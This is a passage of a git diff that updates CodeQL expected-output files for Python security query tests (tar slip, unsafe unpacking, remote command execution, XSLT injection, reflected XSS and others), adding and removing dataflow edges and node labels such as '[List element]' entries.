for tar | provenance | | | TarSlipImprov.py:306:5:306:10 | ControlFlowNode for member | TarSlipImprov.py:309:19:309:24 | ControlFlowNode for member | provenance | | | TarSlipImprov.py:309:5:309:10 | [post] ControlFlowNode for result | TarSlipImprov.py:310:49:310:54 | ControlFlowNode for result | provenance | | +| TarSlipImprov.py:309:5:309:10 | [post] ControlFlowNode for result [List element] | TarSlipImprov.py:310:49:310:54 | ControlFlowNode for result | provenance | | | TarSlipImprov.py:309:19:309:24 | ControlFlowNode for member | TarSlipImprov.py:309:5:309:10 | [post] ControlFlowNode for result | provenance | list.append | +| TarSlipImprov.py:309:19:309:24 | ControlFlowNode for member | TarSlipImprov.py:309:5:309:10 | [post] ControlFlowNode for result [List element] | provenance | list.append | nodes | TarSlipImprov.py:15:1:15:3 | ControlFlowNode for tar | semmle.label | ControlFlowNode for tar | | TarSlipImprov.py:15:7:15:39 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | TarSlipImprov.py:17:5:17:10 | ControlFlowNode for member | semmle.label | ControlFlowNode for member | | TarSlipImprov.py:20:5:20:10 | [post] ControlFlowNode for result | semmle.label | [post] ControlFlowNode for result | +| TarSlipImprov.py:20:5:20:10 | [post] ControlFlowNode for result [List element] | semmle.label | [post] ControlFlowNode for result [List element] | | TarSlipImprov.py:20:19:20:24 | ControlFlowNode for member | semmle.label | ControlFlowNode for member | | TarSlipImprov.py:22:35:22:40 | ControlFlowNode for result | semmle.label | ControlFlowNode for result | | TarSlipImprov.py:26:21:26:27 | ControlFlowNode for tarfile | semmle.label | ControlFlowNode for tarfile | | TarSlipImprov.py:28:9:28:14 | ControlFlowNode for member | semmle.label | ControlFlowNode for member | | TarSlipImprov.py:35:9:35:14 | [post] ControlFlowNode for result | semmle.label | [post] ControlFlowNode for result | +| TarSlipImprov.py:35:9:35:14 | [post] ControlFlowNode for result [List element] | semmle.label | [post] ControlFlowNode for result [List element] | | TarSlipImprov.py:35:23:35:28 | ControlFlowNode for member | semmle.label | ControlFlowNode for member | | TarSlipImprov.py:36:12:36:17 | ControlFlowNode for result | semmle.label | ControlFlowNode for result | +| TarSlipImprov.py:36:12:36:17 | ControlFlowNode for result [List element] | semmle.label | ControlFlowNode for result [List element] | | TarSlipImprov.py:38:1:38:3 | ControlFlowNode for tar | semmle.label | ControlFlowNode for tar | | TarSlipImprov.py:38:7:38:39 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | TarSlipImprov.py:39:49:39:68 | ControlFlowNode for members_filter1() | semmle.label | ControlFlowNode for members_filter1() | @@ -133,14 +147,17 @@ nodes | TarSlipImprov.py:151:14:151:50 | ControlFlowNode for closing() | semmle.label | ControlFlowNode for closing() | | TarSlipImprov.py:151:22:151:49 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | TarSlipImprov.py:151:55:151:56 | ControlFlowNode for tf | semmle.label | ControlFlowNode for tf | -| TarSlipImprov.py:152:13:152:20 | ControlFlowNode for Yield | semmle.label | ControlFlowNode for Yield | +| TarSlipImprov.py:152:13:152:20 | ControlFlowNode for Yield [List element] | semmle.label | ControlFlowNode for Yield [List element] | | TarSlipImprov.py:152:19:152:20 | ControlFlowNode for tf | semmle.label | ControlFlowNode for tf | | TarSlipImprov.py:157:9:157:14 | ControlFlowNode for tar_cm | semmle.label | ControlFlowNode for tar_cm | +| TarSlipImprov.py:157:9:157:14 | ControlFlowNode for tar_cm [List element] | semmle.label | ControlFlowNode for tar_cm [List element] | | TarSlipImprov.py:157:18:157:40 | ControlFlowNode for py2_tarxz() | semmle.label | ControlFlowNode for py2_tarxz() | +| TarSlipImprov.py:157:18:157:40 | ControlFlowNode for py2_tarxz() [List element] | semmle.label | ControlFlowNode for py2_tarxz() [List element] | | TarSlipImprov.py:159:9:159:14 | ControlFlowNode for tar_cm | semmle.label | ControlFlowNode for tar_cm | | TarSlipImprov.py:159:18:159:52 | ControlFlowNode for closing() | semmle.label | ControlFlowNode for closing() | | TarSlipImprov.py:159:26:159:51 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | TarSlipImprov.py:162:20:162:23 | ControlFlowNode for tarc | semmle.label | ControlFlowNode for tarc | +| TarSlipImprov.py:162:20:162:23 | ControlFlowNode for tarc [List element] | semmle.label | ControlFlowNode for tarc [List element] | | TarSlipImprov.py:169:9:169:12 | ControlFlowNode for tarc | semmle.label | ControlFlowNode for tarc | | TarSlipImprov.py:176:6:176:31 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | TarSlipImprov.py:176:36:176:38 | ControlFlowNode for tar | semmle.label | ControlFlowNode for tar | @@ -163,6 +180,7 @@ nodes | TarSlipImprov.py:231:43:231:52 | ControlFlowNode for corpus_tar | semmle.label | ControlFlowNode for corpus_tar | | TarSlipImprov.py:233:9:233:9 | ControlFlowNode for f | semmle.label | ControlFlowNode for f | | TarSlipImprov.py:235:13:235:19 | [post] ControlFlowNode for members | semmle.label | [post] ControlFlowNode for members | +| TarSlipImprov.py:235:13:235:19 | [post] ControlFlowNode for members [List element] | semmle.label | [post] ControlFlowNode for members [List element] | | TarSlipImprov.py:235:28:235:28 | ControlFlowNode for f | semmle.label | ControlFlowNode for f | | TarSlipImprov.py:236:44:236:50 | ControlFlowNode for members | semmle.label | ControlFlowNode for members | | TarSlipImprov.py:254:1:254:31 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | @@ -198,11 +216,13 @@ nodes | TarSlipImprov.py:304:7:304:39 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | TarSlipImprov.py:306:5:306:10 | ControlFlowNode for member | semmle.label | ControlFlowNode for member | | TarSlipImprov.py:309:5:309:10 | [post] ControlFlowNode for result | semmle.label | [post] ControlFlowNode for result | +| TarSlipImprov.py:309:5:309:10 | [post] ControlFlowNode for result [List element] | semmle.label | [post] ControlFlowNode for result [List element] | | TarSlipImprov.py:309:19:309:24 | ControlFlowNode for member | semmle.label | ControlFlowNode for member | | TarSlipImprov.py:310:49:310:54 | ControlFlowNode for result | semmle.label | ControlFlowNode for result | | TarSlipImprov.py:316:1:316:46 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | subpaths | TarSlipImprov.py:39:65:39:67 | ControlFlowNode for tar | TarSlipImprov.py:26:21:26:27 | ControlFlowNode for tarfile | TarSlipImprov.py:36:12:36:17 | ControlFlowNode for result | TarSlipImprov.py:39:49:39:68 | ControlFlowNode for members_filter1() | +| TarSlipImprov.py:39:65:39:67 | ControlFlowNode for tar | TarSlipImprov.py:26:21:26:27 | ControlFlowNode for tarfile | TarSlipImprov.py:36:12:36:17 | ControlFlowNode for result [List element] | TarSlipImprov.py:39:49:39:68 | ControlFlowNode for members_filter1() | #select | TarSlipImprov.py:22:35:22:40 | ControlFlowNode for result | TarSlipImprov.py:15:7:15:39 | ControlFlowNode for Attribute() | TarSlipImprov.py:22:35:22:40 | ControlFlowNode for result | Extraction of tarfile from $@ to a potentially untrusted source $@. | TarSlipImprov.py:15:7:15:39 | ControlFlowNode for Attribute() | ControlFlowNode for Attribute() | TarSlipImprov.py:22:35:22:40 | ControlFlowNode for result | ControlFlowNode for result | | TarSlipImprov.py:39:49:39:68 | ControlFlowNode for members_filter1() | TarSlipImprov.py:38:7:38:39 | ControlFlowNode for Attribute() | TarSlipImprov.py:39:49:39:68 | ControlFlowNode for members_filter1() | Extraction of tarfile from $@ to a potentially untrusted source $@. | TarSlipImprov.py:38:7:38:39 | ControlFlowNode for Attribute() | ControlFlowNode for Attribute() | TarSlipImprov.py:39:49:39:68 | ControlFlowNode for members_filter1() | ControlFlowNode for members_filter1() | diff --git a/python/ql/test/experimental/query-tests/Security/CWE-022-UnsafeUnpacking/UnsafeUnpack.expected b/python/ql/test/experimental/query-tests/Security/CWE-022-UnsafeUnpacking/UnsafeUnpack.expected index de8721382bf..ccc2daba50b 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-022-UnsafeUnpacking/UnsafeUnpack.expected +++ b/python/ql/test/experimental/query-tests/Security/CWE-022-UnsafeUnpacking/UnsafeUnpack.expected @@ -93,7 +93,9 @@ edges | UnsafeUnpack.py:163:23:163:28 | ControlFlowNode for member | UnsafeUnpack.py:166:37:166:42 | ControlFlowNode for member | provenance | | | UnsafeUnpack.py:163:33:163:35 | ControlFlowNode for tar | UnsafeUnpack.py:163:23:163:28 | ControlFlowNode for member | provenance | | | UnsafeUnpack.py:166:23:166:28 | [post] ControlFlowNode for result | UnsafeUnpack.py:167:67:167:72 | ControlFlowNode for result | provenance | | +| UnsafeUnpack.py:166:23:166:28 | [post] ControlFlowNode for result [List element] | UnsafeUnpack.py:167:67:167:72 | ControlFlowNode for result | provenance | | | UnsafeUnpack.py:166:37:166:42 | ControlFlowNode for member | UnsafeUnpack.py:166:23:166:28 | [post] ControlFlowNode for result | provenance | list.append | +| UnsafeUnpack.py:166:37:166:42 | ControlFlowNode for member | UnsafeUnpack.py:166:23:166:28 | [post] ControlFlowNode for result [List element] | provenance | list.append | | UnsafeUnpack.py:171:1:171:8 | ControlFlowNode for response | UnsafeUnpack.py:174:15:174:22 | ControlFlowNode for response | provenance | | | UnsafeUnpack.py:171:12:171:50 | ControlFlowNode for Attribute() | UnsafeUnpack.py:171:1:171:8 | ControlFlowNode for response | provenance | | | UnsafeUnpack.py:173:11:173:17 | ControlFlowNode for tarpath | UnsafeUnpack.py:176:17:176:23 | ControlFlowNode for tarpath | provenance | | @@ -189,6 +191,7 @@ nodes | UnsafeUnpack.py:163:23:163:28 | ControlFlowNode for member | semmle.label | ControlFlowNode for member | | UnsafeUnpack.py:163:33:163:35 | ControlFlowNode for tar | semmle.label | ControlFlowNode for tar | | UnsafeUnpack.py:166:23:166:28 | [post] ControlFlowNode for result | semmle.label | [post] ControlFlowNode for result | +| UnsafeUnpack.py:166:23:166:28 | [post] ControlFlowNode for result [List element] | semmle.label | [post] ControlFlowNode for result [List element] | | UnsafeUnpack.py:166:37:166:42 | ControlFlowNode for member | semmle.label | ControlFlowNode for member | | UnsafeUnpack.py:167:67:167:72 | ControlFlowNode for result | semmle.label | ControlFlowNode for result | | UnsafeUnpack.py:171:1:171:8 | ControlFlowNode for response | semmle.label | ControlFlowNode for response | diff --git a/python/ql/test/experimental/query-tests/Security/CWE-074-RemoteCommandExecution/RemoteCommandExecution.expected b/python/ql/test/experimental/query-tests/Security/CWE-074-RemoteCommandExecution/RemoteCommandExecution.expected index 914d6fbbee4..9ae14db9467 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-074-RemoteCommandExecution/RemoteCommandExecution.expected +++ b/python/ql/test/experimental/query-tests/Security/CWE-074-RemoteCommandExecution/RemoteCommandExecution.expected @@ -3,8 +3,10 @@ edges | Netmiko.py:18:16:18:18 | ControlFlowNode for cmd | Netmiko.py:20:45:20:47 | ControlFlowNode for cmd | provenance | | | Netmiko.py:18:16:18:18 | ControlFlowNode for cmd | Netmiko.py:21:52:21:54 | ControlFlowNode for cmd | provenance | | | Netmiko.py:18:16:18:18 | ControlFlowNode for cmd | Netmiko.py:22:52:22:54 | ControlFlowNode for cmd | provenance | | -| Netmiko.py:18:16:18:18 | ControlFlowNode for cmd | Netmiko.py:23:41:23:57 | ControlFlowNode for List | provenance | | +| Netmiko.py:18:16:18:18 | ControlFlowNode for cmd | Netmiko.py:23:43:23:45 | ControlFlowNode for cmd | provenance | | | Netmiko.py:18:16:18:18 | ControlFlowNode for cmd | Netmiko.py:24:48:24:50 | ControlFlowNode for cmd | provenance | | +| Netmiko.py:23:42:23:56 | ControlFlowNode for List [List element] | Netmiko.py:23:41:23:57 | ControlFlowNode for List | provenance | | +| Netmiko.py:23:43:23:45 | ControlFlowNode for cmd | Netmiko.py:23:42:23:56 | ControlFlowNode for List [List element] | provenance | | | Pexpect.py:15:16:15:18 | ControlFlowNode for cmd | Pexpect.py:16:14:16:16 | ControlFlowNode for cmd | provenance | | | Pexpect.py:15:16:15:18 | ControlFlowNode for cmd | Pexpect.py:18:18:18:20 | ControlFlowNode for cmd | provenance | | | Scrapli.py:13:16:13:18 | ControlFlowNode for cmd | Scrapli.py:24:42:24:44 | ControlFlowNode for cmd | provenance | | @@ -32,6 +34,8 @@ nodes | Netmiko.py:21:52:21:54 | ControlFlowNode for cmd | semmle.label | ControlFlowNode for cmd | | Netmiko.py:22:52:22:54 | ControlFlowNode for cmd | semmle.label | ControlFlowNode for cmd | | Netmiko.py:23:41:23:57 | ControlFlowNode for List | semmle.label | ControlFlowNode for List | +| Netmiko.py:23:42:23:56 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| Netmiko.py:23:43:23:45 | ControlFlowNode for cmd | semmle.label | ControlFlowNode for cmd | | Netmiko.py:24:48:24:50 | ControlFlowNode for cmd | semmle.label | ControlFlowNode for cmd | | Pexpect.py:15:16:15:18 | ControlFlowNode for cmd | semmle.label | ControlFlowNode for cmd | | Pexpect.py:16:14:16:16 | ControlFlowNode for cmd | semmle.label | ControlFlowNode for cmd | diff --git a/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.expected b/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.expected index 64b10ac564d..8c64cccebc1 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.expected +++ b/python/ql/test/experimental/query-tests/Security/CWE-091-XsltInjection/XsltInjection.expected @@ -7,6 +7,7 @@ edges | xslt.py:10:17:10:43 | ControlFlowNode for Attribute() | xslt.py:10:5:10:13 | ControlFlowNode for xsltQuery | provenance | | | xslt.py:11:5:11:13 | ControlFlowNode for xslt_root | xslt.py:14:29:14:37 | ControlFlowNode for xslt_root | provenance | | | xslt.py:11:17:11:36 | ControlFlowNode for Attribute() | xslt.py:11:5:11:13 | ControlFlowNode for xslt_root | provenance | | +| xslt.py:11:27:11:35 | ControlFlowNode for xsltQuery | xslt.py:11:17:11:36 | ControlFlowNode for Attribute() | provenance | | | xslt.py:11:27:11:35 | ControlFlowNode for xsltQuery | xslt.py:11:17:11:36 | ControlFlowNode for Attribute() | provenance | Config | | xslt.py:11:27:11:35 | ControlFlowNode for xsltQuery | xslt.py:11:17:11:36 | ControlFlowNode for Attribute() | provenance | Decoding-XML | | xsltInjection.py:3:26:3:32 | ControlFlowNode for ImportMember | xsltInjection.py:3:26:3:32 | ControlFlowNode for request | provenance | | @@ -21,6 +22,7 @@ edges | xsltInjection.py:10:17:10:43 | ControlFlowNode for Attribute() | xsltInjection.py:10:5:10:13 | ControlFlowNode for xsltQuery | provenance | | | xsltInjection.py:11:5:11:13 | ControlFlowNode for xslt_root | xsltInjection.py:12:28:12:36 | ControlFlowNode for xslt_root | provenance | | | xsltInjection.py:11:17:11:36 | ControlFlowNode for Attribute() | xsltInjection.py:11:5:11:13 | ControlFlowNode for xslt_root | provenance | | +| xsltInjection.py:11:27:11:35 | ControlFlowNode for xsltQuery | xsltInjection.py:11:17:11:36 | ControlFlowNode for Attribute() | provenance | | | xsltInjection.py:11:27:11:35 | ControlFlowNode for xsltQuery | xsltInjection.py:11:17:11:36 | ControlFlowNode for Attribute() | provenance | Config | | xsltInjection.py:11:27:11:35 | ControlFlowNode for xsltQuery | xsltInjection.py:11:17:11:36 | ControlFlowNode for Attribute() | provenance | Decoding-XML | | xsltInjection.py:17:5:17:13 | ControlFlowNode for xsltQuery | xsltInjection.py:18:27:18:35 | ControlFlowNode for xsltQuery | provenance | | @@ -29,6 +31,7 @@ edges | xsltInjection.py:17:17:17:43 | ControlFlowNode for Attribute() | xsltInjection.py:17:5:17:13 | ControlFlowNode for xsltQuery | provenance | | | xsltInjection.py:18:5:18:13 | ControlFlowNode for xslt_root | xsltInjection.py:21:29:21:37 | ControlFlowNode for xslt_root | provenance | | | xsltInjection.py:18:17:18:36 | ControlFlowNode for Attribute() | xsltInjection.py:18:5:18:13 | ControlFlowNode for xslt_root | provenance | | +| xsltInjection.py:18:27:18:35 | ControlFlowNode for xsltQuery | xsltInjection.py:18:17:18:36 | ControlFlowNode for Attribute() | provenance | | | xsltInjection.py:18:27:18:35 | ControlFlowNode for xsltQuery | xsltInjection.py:18:17:18:36 | ControlFlowNode for Attribute() | provenance | Config | | xsltInjection.py:18:27:18:35 | ControlFlowNode for xsltQuery | xsltInjection.py:18:17:18:36 | ControlFlowNode for Attribute() | provenance | Decoding-XML | | xsltInjection.py:26:5:26:13 | ControlFlowNode for xsltQuery | xsltInjection.py:27:27:27:35 | ControlFlowNode for xsltQuery | provenance | | @@ -37,6 +40,7 @@ edges | xsltInjection.py:26:17:26:43 | ControlFlowNode for Attribute() | xsltInjection.py:26:5:26:13 | ControlFlowNode for xsltQuery | provenance | | | xsltInjection.py:27:5:27:13 | ControlFlowNode for xslt_root | xsltInjection.py:31:24:31:32 | ControlFlowNode for xslt_root | provenance | | | xsltInjection.py:27:17:27:36 | ControlFlowNode for Attribute() | xsltInjection.py:27:5:27:13 | ControlFlowNode for xslt_root | provenance | | +| xsltInjection.py:27:27:27:35 | ControlFlowNode for xsltQuery | xsltInjection.py:27:17:27:36 | ControlFlowNode for Attribute() | provenance | | | xsltInjection.py:27:27:27:35 | ControlFlowNode for xsltQuery | xsltInjection.py:27:17:27:36 | ControlFlowNode for Attribute() | provenance | Config | | xsltInjection.py:27:27:27:35 | ControlFlowNode for xsltQuery | xsltInjection.py:27:17:27:36 | ControlFlowNode for Attribute() | provenance | Decoding-XML | | xsltInjection.py:35:5:35:13 | ControlFlowNode for xsltQuery | xsltInjection.py:36:34:36:42 | ControlFlowNode for xsltQuery | provenance | | @@ -45,17 +49,21 @@ edges | xsltInjection.py:35:17:35:43 | ControlFlowNode for Attribute() | xsltInjection.py:35:5:35:13 | ControlFlowNode for xsltQuery | provenance | | | xsltInjection.py:36:5:36:13 | ControlFlowNode for xslt_root | xsltInjection.py:40:24:40:32 | ControlFlowNode for xslt_root | provenance | | | xsltInjection.py:36:17:36:43 | ControlFlowNode for Attribute() | xsltInjection.py:36:5:36:13 | ControlFlowNode for xslt_root | provenance | | +| xsltInjection.py:36:34:36:42 | ControlFlowNode for xsltQuery | xsltInjection.py:36:17:36:43 | ControlFlowNode for Attribute() | provenance | | | xsltInjection.py:36:34:36:42 | ControlFlowNode for xsltQuery | xsltInjection.py:36:17:36:43 | ControlFlowNode for Attribute() | provenance | Config | | xsltInjection.py:36:34:36:42 | ControlFlowNode for xsltQuery | xsltInjection.py:36:17:36:43 | ControlFlowNode for Attribute() | provenance | Decoding-XML | -| xsltInjection.py:44:5:44:13 | ControlFlowNode for xsltQuery | xsltInjection.py:45:5:45:15 | ControlFlowNode for xsltStrings | provenance | | +| xsltInjection.py:44:5:44:13 | ControlFlowNode for xsltQuery | xsltInjection.py:45:20:45:28 | ControlFlowNode for xsltQuery | provenance | | | xsltInjection.py:44:17:44:23 | ControlFlowNode for request | xsltInjection.py:44:17:44:28 | ControlFlowNode for Attribute | provenance | AdditionalTaintStep | | xsltInjection.py:44:17:44:28 | ControlFlowNode for Attribute | xsltInjection.py:44:17:44:43 | ControlFlowNode for Attribute() | provenance | dict.get | | xsltInjection.py:44:17:44:43 | ControlFlowNode for Attribute() | xsltInjection.py:44:5:44:13 | ControlFlowNode for xsltQuery | provenance | | -| xsltInjection.py:45:5:45:15 | ControlFlowNode for xsltStrings | xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings | provenance | | +| xsltInjection.py:45:5:45:15 | ControlFlowNode for xsltStrings [List element] | xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings [List element] | provenance | | +| xsltInjection.py:45:19:45:44 | ControlFlowNode for List [List element] | xsltInjection.py:45:5:45:15 | ControlFlowNode for xsltStrings [List element] | provenance | | +| xsltInjection.py:45:20:45:28 | ControlFlowNode for xsltQuery | xsltInjection.py:45:19:45:44 | ControlFlowNode for List [List element] | provenance | | | xsltInjection.py:46:5:46:13 | ControlFlowNode for xslt_root | xsltInjection.py:50:24:50:32 | ControlFlowNode for xslt_root | provenance | | | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | xsltInjection.py:46:5:46:13 | ControlFlowNode for xslt_root | provenance | | -| xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | provenance | Config | -| xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | provenance | Decoding-XML | +| xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings [List element] | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | provenance | | +| xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings [List element] | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | provenance | Config | +| xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings [List element] | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | provenance | Decoding-XML | nodes | xslt.py:3:26:3:32 | ControlFlowNode for ImportMember | semmle.label | ControlFlowNode for ImportMember | | xslt.py:3:26:3:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -105,10 +113,12 @@ nodes | xsltInjection.py:44:17:44:23 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | xsltInjection.py:44:17:44:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | xsltInjection.py:44:17:44:43 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | -| xsltInjection.py:45:5:45:15 | ControlFlowNode for xsltStrings | semmle.label | ControlFlowNode for xsltStrings | +| xsltInjection.py:45:5:45:15 | ControlFlowNode for xsltStrings [List element] | semmle.label | ControlFlowNode for xsltStrings [List element] | +| xsltInjection.py:45:19:45:44 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| xsltInjection.py:45:20:45:28 | ControlFlowNode for xsltQuery | semmle.label | ControlFlowNode for xsltQuery | | xsltInjection.py:46:5:46:13 | ControlFlowNode for xslt_root | semmle.label | ControlFlowNode for xslt_root | | xsltInjection.py:46:17:46:49 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | -| xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings | semmle.label | ControlFlowNode for xsltStrings | +| xsltInjection.py:46:38:46:48 | ControlFlowNode for xsltStrings [List element] | semmle.label | ControlFlowNode for xsltStrings [List element] | | xsltInjection.py:50:24:50:32 | ControlFlowNode for xslt_root | semmle.label | ControlFlowNode for xslt_root | subpaths #select diff --git a/python/ql/test/library-tests/dataflow/summaries/summaries.expected b/python/ql/test/library-tests/dataflow/summaries/summaries.expected index 4a97116f8cd..fbc09b5fa6e 100644 --- a/python/ql/test/library-tests/dataflow/summaries/summaries.expected +++ b/python/ql/test/library-tests/dataflow/summaries/summaries.expected @@ -7,13 +7,9 @@ edges | summaries.py:36:38:36:38 | ControlFlowNode for x | summaries.py:36:41:36:45 | ControlFlowNode for BinaryExpr | provenance | | | summaries.py:36:48:36:53 | ControlFlowNode for SOURCE | summaries.py:36:18:36:54 | ControlFlowNode for apply_lambda() | provenance | apply_lambda | | summaries.py:36:48:36:53 | ControlFlowNode for SOURCE | summaries.py:36:38:36:38 | ControlFlowNode for x | provenance | apply_lambda | -| summaries.py:44:1:44:12 | ControlFlowNode for tainted_list | summaries.py:45:6:45:20 | ControlFlowNode for Subscript | provenance | | | summaries.py:44:1:44:12 | ControlFlowNode for tainted_list [List element] | summaries.py:45:6:45:17 | ControlFlowNode for tainted_list [List element] | provenance | | -| summaries.py:44:16:44:33 | ControlFlowNode for reversed() | summaries.py:44:1:44:12 | ControlFlowNode for tainted_list | provenance | | | summaries.py:44:16:44:33 | ControlFlowNode for reversed() [List element] | summaries.py:44:1:44:12 | ControlFlowNode for tainted_list [List element] | provenance | | -| summaries.py:44:25:44:32 | ControlFlowNode for List | summaries.py:44:16:44:33 | ControlFlowNode for reversed() | provenance | builtins.reversed | | summaries.py:44:25:44:32 | ControlFlowNode for List [List element] | summaries.py:44:16:44:33 | ControlFlowNode for reversed() [List element] | provenance | builtins.reversed | -| summaries.py:44:26:44:31 | ControlFlowNode for SOURCE | summaries.py:44:25:44:32 | ControlFlowNode for List | provenance | | | summaries.py:44:26:44:31 | ControlFlowNode for SOURCE | summaries.py:44:25:44:32 | ControlFlowNode for List [List element] | provenance | | | summaries.py:45:6:45:17 | ControlFlowNode for tainted_list [List element] | summaries.py:45:6:45:20 | ControlFlowNode for Subscript | provenance | | | summaries.py:48:15:48:15 | ControlFlowNode for x | summaries.py:49:12:49:18 | ControlFlowNode for BinaryExpr | provenance | | @@ -42,6 +38,7 @@ edges | summaries.py:67:1:67:18 | ControlFlowNode for tainted_resultlist | summaries.py:68:6:68:26 | ControlFlowNode for Subscript | provenance | | | summaries.py:67:1:67:18 | ControlFlowNode for tainted_resultlist [List element] | summaries.py:68:6:68:23 | ControlFlowNode for tainted_resultlist [List element] | provenance | | | summaries.py:67:22:67:39 | ControlFlowNode for json_loads() [List element] | summaries.py:67:1:67:18 | ControlFlowNode for tainted_resultlist [List element] | provenance | | +| summaries.py:67:33:67:38 | ControlFlowNode for SOURCE | summaries.py:67:1:67:18 | ControlFlowNode for tainted_resultlist | provenance | | | summaries.py:67:33:67:38 | ControlFlowNode for SOURCE | summaries.py:67:1:67:18 | ControlFlowNode for tainted_resultlist | provenance | Decoding-JSON | | summaries.py:67:33:67:38 | ControlFlowNode for SOURCE | summaries.py:67:22:67:39 | ControlFlowNode for json_loads() [List element] | provenance | json.loads | | summaries.py:68:6:68:23 | ControlFlowNode for tainted_resultlist [List element] | summaries.py:68:6:68:26 | ControlFlowNode for Subscript | provenance | | @@ -56,11 +53,8 @@ nodes | summaries.py:36:41:36:45 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | | summaries.py:36:48:36:53 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | summaries.py:37:6:37:19 | ControlFlowNode for tainted_lambda | semmle.label | ControlFlowNode for tainted_lambda | -| summaries.py:44:1:44:12 | ControlFlowNode for tainted_list | semmle.label | ControlFlowNode for tainted_list | | summaries.py:44:1:44:12 | ControlFlowNode for tainted_list [List element] | semmle.label | ControlFlowNode for tainted_list [List element] | -| summaries.py:44:16:44:33 | ControlFlowNode for reversed() | semmle.label | ControlFlowNode for reversed() | | summaries.py:44:16:44:33 | ControlFlowNode for reversed() [List element] | semmle.label | ControlFlowNode for reversed() [List element] | -| summaries.py:44:25:44:32 | ControlFlowNode for List | semmle.label | ControlFlowNode for List | | summaries.py:44:25:44:32 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | | summaries.py:44:26:44:31 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | summaries.py:45:6:45:17 | ControlFlowNode for tainted_list [List element] | semmle.label | ControlFlowNode for tainted_list [List element] | diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected index 08a5b798f71..7f83ceae8fe 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected @@ -5,11 +5,13 @@ edges | test.py:5:26:5:32 | ControlFlowNode for request | test.py:34:12:34:18 | ControlFlowNode for request | provenance | | | test.py:5:26:5:32 | ControlFlowNode for request | test.py:42:12:42:18 | ControlFlowNode for request | provenance | | | test.py:5:26:5:32 | ControlFlowNode for request | test.py:54:12:54:18 | ControlFlowNode for request | provenance | | +| test.py:13:5:13:12 | ControlFlowNode for data_raw | test.py:14:5:14:8 | ControlFlowNode for data | provenance | | | test.py:13:5:13:12 | ControlFlowNode for data_raw | test.py:14:5:14:8 | ControlFlowNode for data | provenance | Decoding-Base64 | | test.py:13:16:13:22 | ControlFlowNode for request | test.py:13:16:13:27 | ControlFlowNode for Attribute | provenance | AdditionalTaintStep | | test.py:13:16:13:27 | ControlFlowNode for Attribute | test.py:13:16:13:39 | ControlFlowNode for Attribute() | provenance | dict.get | | test.py:13:16:13:39 | ControlFlowNode for Attribute() | test.py:13:5:13:12 | ControlFlowNode for data_raw | provenance | | | test.py:14:5:14:8 | ControlFlowNode for data | test.py:15:36:15:39 | ControlFlowNode for data | provenance | | +| test.py:23:5:23:12 | ControlFlowNode for data_raw | test.py:24:5:24:8 | ControlFlowNode for data | provenance | | | test.py:23:5:23:12 | ControlFlowNode for data_raw | test.py:24:5:24:8 | ControlFlowNode for data | provenance | Decoding-Base64 | | test.py:23:16:23:22 | ControlFlowNode for request | test.py:23:16:23:27 | ControlFlowNode for Attribute | provenance | AdditionalTaintStep | | test.py:23:16:23:27 | ControlFlowNode for Attribute | test.py:23:16:23:39 | ControlFlowNode for Attribute() | provenance | dict.get | diff --git a/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/ReflectedXss.expected b/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/ReflectedXss.expected index 2e6c5c33fbc..d332231e0c9 100644 --- a/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/ReflectedXss.expected +++ b/python/ql/test/query-tests/Security/CWE-079-ReflectedXss/ReflectedXss.expected @@ -7,8 +7,10 @@ edges | reflected_xss.py:9:18:9:24 | ControlFlowNode for request | reflected_xss.py:9:18:9:29 | ControlFlowNode for Attribute | provenance | AdditionalTaintStep | | reflected_xss.py:9:18:9:29 | ControlFlowNode for Attribute | reflected_xss.py:9:18:9:45 | 